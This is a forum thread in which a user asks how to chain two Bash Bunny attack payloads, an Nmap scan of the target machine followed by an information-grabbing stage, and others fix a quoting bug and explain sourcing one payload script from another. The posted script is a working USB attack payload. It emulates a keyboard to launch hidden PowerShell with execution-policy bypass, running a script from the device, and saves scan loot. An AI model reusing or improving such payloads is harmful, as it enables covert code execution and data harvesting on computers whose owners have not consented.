Am3ience Posted February 4, 2018 Share Posted February 4, 2018 Hi guys, another question. Is it possible to chain payloads one after another? Basically what I want to do is use the Nmapper Payload then the InfoGrabber payload right after the scan. They both go off correctly when done by themselves, but when I try to copy and paste the nmapper onto the InfoGrabber payload, nothing goes off. No LEDs or anything after the initial green. The code is below: # See nmap --help for options. Default "-O --fuzzy" profiles target OS. NMAP_OPTIONS="-O --fuzzy"" LOOTDIR=/root/udisk/loot/nmap ######## INITIALIZATION ######## LED SETUP # Use RNDIS for Windows. Mac/Linux use ECM_ETHERNET ATTACKMODE RNDIS_ETHERNET #ATTACKMODE ECM_ETHERNET GET TARGET_IP GET TARGET_HOSTNAME GET SWITCH_POSITION ######## MAKE LOOT DIRECTORY ######## # Setup named logs in loot directory mkdir -p $LOOTDIR HOST=${TARGET_HOSTNAME} # If hostname is blank set it to "noname" [[ -z "$HOST" ]] && HOST="noname" COUNT=$(ls -lad $LOOTDIR/$HOST*.log | wc -l) COUNT=$((COUNT+1)) ######## ERROR IF NO TARGET IP ######## if [ -z "${TARGET_IP}" ]; then LED FAIL exit 1 fi ######## ATTACK ######## LED ATTACK nmap $NMAP_OPTIONS $TARGET_IP >> $LOOTDIR/$HOST-$COUNT.log ######################################################################################## Info Grab ATTACKMODE HID STORAGE LED SPECIAL # Run the run.ps1 script in the BashBunny RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')" ######## CLEANUP ######## LED CLEANUP sync ######## FINISH ######## LED FINISH Link to comment Share on other sites More sharing options...
GermanNoob Posted February 4, 2018 Share Posted February 4, 2018 Hi there, I didn't tried your payload but as the LED isn't turning on I had a deeper look at the first lines of your code:# NMAP_OPTIONS="-O --fuzzy"" Delete one quote at the end of the line. Bash will hang there... Link to comment Share on other sites More sharing options...
Am3ience Posted February 4, 2018 Author Share Posted February 4, 2018 2 hours ago, GermanNoob said: Hi there, I didn't tried your payload but as the LED isn't turning on I had a deeper look at the first lines of your code:# NMAP_OPTIONS="-O --fuzzy"" Delete one quote at the end of the line. Bash will hang there... I love you, i can't believe I missed that Link to comment Share on other sites More sharing options...
Dave-ee Jones Posted February 5, 2018 Share Posted February 5, 2018 Yes, it is definitely possible. For example, you could simply source the shell script. source /PATH/TO/PAYLOAD/payload.txt Keep in mind if you have something after it (as below) it will run that once the other payload is complete. echo "Starting second payload.." source /PATH/TO/PAYLOAD/payload.txt echo "Second payload is complete!" Which comes with all the other bits and bobs like.. FIRST SCRIPT: source secondscript.txt echo "Hello $name" SECOND SCRIPT: name="Am3ience" So you could check if the second script succeeded by checking for a variable. Some pretty interesting ideas and combinations you could do to make interesting payloads. :) Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.